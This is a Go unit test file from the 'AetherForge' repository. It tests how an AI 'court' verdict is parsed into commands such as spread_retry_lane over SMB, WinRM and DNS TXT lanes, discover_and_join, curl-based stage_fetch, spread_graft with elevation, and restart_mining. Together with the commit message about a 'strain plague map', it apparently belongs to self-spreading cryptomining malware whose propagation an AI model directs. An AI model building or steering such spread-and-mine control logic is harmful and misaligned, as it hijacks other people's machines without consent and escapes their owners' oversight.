Files
AetherForge/server/internal/ai/court_commands_test.go
AetherForge c8b3b2a126
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Add fleet topology epidemiology: strain plague map and mining interrupt fixes.
Strain nodes replace host nodes in FleetTopologyMap; server queues epidemiology_fix on auth and reports interrupts to AI and Seer.
2026-06-07 09:19:48 -07:00

77 lines
2.3 KiB
Go

package ai
import "testing"
func TestResolveSpreadRetryLaneStaging(t *testing.T) {
cmd := ResolveSpreadRetryLane(map[string]interface{}{
"lane": "dns_txt",
"data": `{"method":"curl"}`,
})
if cmd.Type != CmdStageFetch {
t.Fatalf("type=%s want stage_fetch", cmd.Type)
}
if cmd.Args["data"] == nil {
t.Fatalf("args=%+v", cmd.Args)
}
}
func TestResolveSpreadRetryLaneDeploy(t *testing.T) {
cmd := ResolveSpreadRetryLane(map[string]interface{}{"lane": "winrm"})
if cmd.Type != CmdDiscoverAndJoin {
t.Fatalf("type=%s", cmd.Type)
}
if cmd.Args["lane"] != "winrm" {
t.Fatalf("lane=%v", cmd.Args["lane"])
}
}
func TestResolveSkipTier(t *testing.T) {
cmd := ResolveSkipTier(map[string]interface{}{"tier": "docker"})
if cmd.Type != CmdReorderTiers {
t.Fatalf("type=%s", cmd.Type)
}
skips, ok := cmd.Args["skip_tiers"].([]interface{})
if !ok || len(skips) != 1 || skips[0] != "docker" {
t.Fatalf("skip_tiers=%+v", cmd.Args["skip_tiers"])
}
}
func TestExpandCourtCommands(t *testing.T) {
out := ExpandCourtCommands([]Command{
{Type: CmdSpreadRetryLane, Args: map[string]interface{}{"lane": "smb"}},
{Type: CmdSkipTier, Args: map[string]interface{}{"tier": "wsl"}},
{Type: CmdNoop, Args: map[string]interface{}{}},
})
if len(out) != 3 {
t.Fatalf("len=%d", len(out))
}
if out[0].Type != CmdDiscoverAndJoin || out[1].Type != CmdReorderTiers {
t.Fatalf("expanded=%+v", out)
}
}
func TestParseCommandsSpreadRetryLane(t *testing.T) {
raw := `Verdict: retry dns_txt lane.
{"commands":[{"type":"spread_retry_lane","args":{"lane":"dns_txt","data":"{}"}}]}`
cmds := ParseCommands(raw)
if len(cmds) != 1 || cmds[0].Type != CmdSpreadRetryLane {
t.Fatalf("cmds=%+v", cmds)
}
expanded := ExpandCourtCommands(cmds)
if len(expanded) != 1 || expanded[0].Type != CmdStageFetch {
t.Fatalf("expanded=%+v", expanded)
}
}
func TestCourtCommandsNeedRetryElevation(t *testing.T) {
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadGraft}}) {
t.Fatal("spread_graft should require L4 elevation")
}
if !CourtCommandsNeedRetryElevation([]Command{{Type: CmdSpreadRetryLane}}) {
t.Fatal("expected spread_retry_lane to need L4")
}
if CourtCommandsNeedRetryElevation([]Command{{Type: CmdRestartMining}}) {
t.Fatal("restart_mining should not require court retry elevation set")
}
}